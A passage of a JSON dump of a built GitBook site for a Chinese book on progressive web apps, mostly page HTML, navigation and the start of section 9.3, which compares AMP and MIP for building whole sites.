<lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter09/2-pwa-and-amp-and-mip.md\",\"mtime\":\"2019-06-19T10:37:42.416Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter09/3-whole-site-amp-and-mip.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>9.3 全站 AMP/MIP · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"4-preload-pwa.html\" />\n    \n    \n    <link rel=\"prev\" href=\"2-pwa-and-amp-and-mip.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"1-search-engine-index.html\">\n            \n                <a href=\"1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.10.3\" data-path=\"3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"4-preload-pwa.html\">\n            \n                <a href=\"4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >9.3 全站 AMP/MIP</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5168;&#x7AD9;-ampmip\"><b></b>&#x5168;&#x7AD9; AMP/MIP</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6DFB;&#x52A0;-web-app-manifest\"><b></b>&#x6DFB;&#x52A0; Web App Manifest</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x542F;&#x7528;-service-worker\"><b></b>&#x542F;&#x7528; Service Worker</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6CE8;&#x518C;-service-worker\"><b></b>&#x6CE8;&#x518C; Service Worker</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x7F16;&#x5199;-service-worker\"><b></b>&#x7F16;&#x5199; Service Worker</a></li></ul></ul></ul></div><a href=\"#&#x5168;&#x7AD9;-ampmip\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x5168;&#x7AD9;-ampmip\"><a name=\"&#x5168;&#x7AD9;-ampmip\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5168;&#x7AD9;-ampmip\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5168;&#x7AD9;-ampmip\" class=\"plugin-anchor\" href=\"#&#x5168;&#x7AD9;-ampmip\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5168;&#x7AD9; AMP/MIP</h1>\n<p>&#x5168;&#x7AD9; AMP/MIP&#xFF0C;&#x987E;&#x540D;&#x601D;&#x4E49;&#x5C31;&#x662F;&#x6307;&#x6574;&#x4E2A;&#x7AD9;&#x70B9;&#x6BCF;&#x4E2A;&#x9875;&#x9762;&#x90FD;&#x7528; AMP/MIP &#x6765;&#x7F16;&#x5199;&#x3002;&#x7531;&#x4E8E;&#x5168;&#x7AD9; AMP &#x548C;&#x5168;&#x7AD9; MIP &#x90FD;&#x4F1A;&#x4F9D;&#x8D56;&#x4E8E; AMP/MIP &#x8FD0;&#x884C;&#x65F6;&#x63D0;&#x4F9B;&#x7684;&#x4EA4;&#x4E92;&#x673A;&#x5236;&#xFF0C;&#x8868; 9-1 &#x5217;&#x51FA;&#x4E86;&#x80FD;&#x591F;&#x901A;&#x8FC7; AMP/MIP &#x5B9E;&#x73B0;&#x590D;&#x6742;&#x4EA4;&#x4E92;&#x7684;&#x4E00;&#x4E9B;&#x6280;&#x672F;&#x57FA;&#x7840;&#xFF0C;&#x5E76;&#x5217;&#x51FA;&#x4E86; AMP &#x548C; MIP &#x7684;&#x4E00;&#x4E9B;&#x533A;&#x522B;&#x3002;</p>\n<table>\n<thead>\n<tr>\n<th></th>\n<th>AMP</th>\n<th>MIP</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>&#x4E8B;&#x4EF6;&#x5904;&#x7406;&#x673A;&#x5236;</td>\n<td>&#x652F;&#x6301;</td>\n<td>&#x652F;&#x6301;</td>\n</tr>\n<tr>\n<td>&#x9875;&#x9762;&#x5207;&#x6362;&#x8FC7;&#x6E21;&#x52A8;&#x753B;</td>\n<td>&#x4E0D;&#x652F;&#x6301;</td>\n<td>&#x652F;&#x6301;</td>\n</tr>\n<tr>\n<td>&#x9875;&#x9762;&#x95F4;&#x5171;&#x4EAB;&#x6570;&#x636E;</td>\n<td>&#x4E0D;&#x652F;&#x6301;</td>\n<td>&#x652F;&#x6301;</td>\n</tr>\n<tr>\n<td>shell &#x673A;&#x5236;</td>\n<td>&#x4E0D;&#x652F;&#x6301;</td>\n<td>&#x652F;&#x6301;</td>\n</tr>\n<tr>\n<td>&#x5916;&#x90E8;&#x81EA;&#x5B9A;&#x4E49;&#x7EC4;&#x4EF6;</td>\n<td>&#x4E0D;&#x652F;&#x6301;</td>\n<td>&#x652F;&#x6301;</td>\n</tr>\n<tr>\n<td>&#x81EA;&#x5B9A;&#x4E49; JavaScript</td>\n<td>&#x4E0D;&#x652F;&#x6301;</td>\n<td>&#x652F;&#x6301;</td>\n</tr>\n</tbody>\n</table>\n<p>&#x4ECE;&#x8868; 9-1 &#x5BF9;&#x6BD4;&#x53EF;&#x77E5;&#xFF0C;&#x7531;&#x4E8E; MIP &#x5BF9;&#x5168;&#x7AD9;&#x7684;&#x652F;&#x6301;&#x60C5;&#x51B5;&#x8981;&#x597D;&#x4E8E; AMP&#xFF0C;&#x6240;&#x4EE5;&#x5728;&#x672C;&#x8282;&#x5C06;&#x4F1A;&#x4F7F;&#x7528; MIP &#x5BF9;&#x5168;&#x7AD9; AMP/MIP &#x65B9;&#x6848;&#x8FDB;&#x884C;&#x8BB2;&#x89E3;&#x3002;&#x5168;&#x7AD9; MIP &#x7684;&#x5B9E;&#x9645;&#x6548;&#x679C;&#x53EF;&#x4EE5;&#x770B; MIP Project &#x7684;&#x5B98;&#x7F51;&#xFF08;<a href=\"https://www.mipengine.org\" target=\"_blank\">https://www.mipengine.org</a>&#xFF09;&#xFF0C;&#x79FB;&#x52A8;&#x6D4F;&#x89C8;&#x5668;&#x4E0B;&#x6548;&#x679C;&#x6BD4;&#x8F83;&#x660E;&#x663E;&#x3002;&#x6574;&#x7AD9; MIP &#x673A;&#x5236;&#x53EF;&#x4EE5;&#x53C2;&#x8003; MIP &#x5B98;&#x65B9;&#x6587;&#x6863;&#x7684;&#x53EF;&#x4EA4;&#x4E92;&#x8BBE;&#x8BA1;&#x6982;&#x8FF0;&#xFF08;<a href=\"https://www.mipengine.org/v2/docs/interactive-mip/introduction.html\" target=\"_blank\">https://www.mipengine.org/v2/docs/interactive-mip/introduction.html</a>&#xFF09;</p>\n<blockquote>\n<p>&#x6CE8;&#x610F;&#xFF1A;\n&#x5168;&#x7AD9; MIP &#x6307;&#x7684;&#x662F;&#x7684;&#x5F00;&#x53D1;&#x8005;&#x81EA;&#x5DF1;&#x5F00;&#x53D1;&#x7684;&#x72EC;&#x7ACB;&#x57DF;&#x540D;&#x7684;&#x72EC;&#x7ACB; MIP &#x9875;&#x9762;&#xFF0C;&#x5E76;&#x4E0D;&#x662F;&#x88AB; MIP Cache &#x7D22;&#x5F15;&#x4E4B;&#x540E;&#x7684;&#x9875;&#x9762;&#xFF0C;&#x53EA;&#x662F; MIP &#x8FD0;&#x884C;&#x65F6;&#x63D0;&#x4F9B;&#x673A;&#x5236;&#x80FD;&#x591F;&#x8BA9; MIP &#x4F53;&#x9A8C;&#x5355;&#x9875;&#x5316;&#xFF0C;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x4F1A;&#x66F4;&#x597D;&#x3002;</p>\n</blockquote>\n<h2 id=\"&#x6DFB;&#x52A0;-web-app-manifest\"><a name=\"&#x6DFB;&#x52A0;-web-app-manifest\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6DFB;&#x52A0;-web-app-manifest\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6DFB;&#x52A0;-web-app-manifest\" class=\"plugin-anchor\" href=\"#&#x6DFB;&#x52A0;-web-app-manifest\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6DFB;&#x52A0; Web App Manifest</h2>\n<p>&#x5982;&#x679C;&#x8981;&#x5C06; MIP &#x9875;&#x9762;&#x6539;&#x9020;&#x6210; PWA &#x7684;&#x8BDD;&#xFF0C;&#x9996;&#x5148;&#x9700;&#x8981;&#x7ED9; MIP &#x6DFB;&#x52A0; Web App Manifest &#x7279;&#x6027;&#xFF0C;&#x800C; Web App Manifest &#x5728;&#x7B2C;&#x4E94;&#x7AE0;&#x4E2D;&#x5DF2;&#x7ECF;&#x6709;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#xFF0C;&#x8FD9;&#x91CC;&#x5C31;&#x4E0D;&#x518D;&#x8D58;&#x8FF0;&#x3002;&#x5177;&#x4F53;&#x7684;&#x505A;&#x6CD5;&#x662F;&#x5728;&#x6BCF;&#x4E2A; MIP &#x9875;&#x9762;&#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token 